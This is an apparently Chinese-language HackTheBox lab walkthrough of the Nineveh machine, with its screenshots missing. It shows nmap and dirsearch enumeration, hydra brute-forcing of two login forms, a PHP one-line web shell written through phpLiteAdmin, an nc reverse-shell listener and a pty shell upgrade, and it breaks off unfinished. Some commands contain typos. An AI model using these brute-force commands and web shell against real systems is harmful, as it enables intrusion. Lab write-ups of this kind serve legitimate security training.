nmap -sC -sV -oAnmap 10.10.10.43
探测操作系统服务及相关版本,并保存为nmap.nmap.
文章图片
image.png
根据ssl-cert可看到主机名。
编辑 /etc/hosts 配置ip及对应主机名
vi /etc/hosts
10.10.10.43nineveh
文章图片
image.png
文章图片
image.png
文章图片
image.png
HTTP协议传输的数据都是未加密的,也就是明文的,因此使用HTTP协议传输隐私信息非常不安全,为了保证这些隐私数据能加密传输,于是网景公司设计了SSL(Secure Sockets Layer)协议用于对HTTP协议传输的数据进行加密,从而就诞生了HTTPS。
简单来说,HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,要比http协议安全。
dirsearch.py -u https://nineveh.htb -e *
dirsearch.py -u nineveh.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e *
文章图片
image.png
文章图片
image.png
文章图片
image.png
使用hydra爆破
文章图片
image.png
文章图片
image.png
hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/10k_most_common.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid" -t 64
hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/10k_most_common.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect" -t 64
文章图片
image.png
文章图片
image.png 成功爆破到密码
文章图片
image.png
未爆破到db密码 更换字典尝试
grep -i ^password /usr/shark/wordlists/rockyou.txt >pw
hydra -l admin -P pw10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect" -t 64
爆破到db密码为password123,发现为phpliteadmin系统,搜索下以前的漏洞
searchsploit phpliteadmin
文章图片
image.png
文章图片
image.png
创建新数据库并已php为扩展名,创建表写入php一句话。
php echo system($_REQUEST['dd']);
?>
文章图片
image.png
只能重命名为ninevehNotes.php 。根据提示更改下一句话
php echo system($_REQUEST["dd"]);
?>
文章图片
image.png
根据提示更改下一句话
php echo system($_REQUEST["dd"]);
?>
文章图片
image.png
利用nc getshell
nc -lvpn 9999
反向shell获取参考http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
文章图片
image.png
将其转换成交互式的shell,方便运行su。在终端中执行:
python -c 'import pty;
pty.spawn('/bin/bash')'
python2没有spawn,我们使用python3
python3 -c 'import pty;
pty.spawn("/bin/bash")'
文章图片
image.png
【hackthebox|hackthebox Nineveh】我们需要设置tty 保证我们在nc shell 上与终端完全交互,以便使用所有功能(tab-complete,history,job control等):
参考:如何将简单的Shell转换成为完全交互式的TTY
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/3529.html
未完待续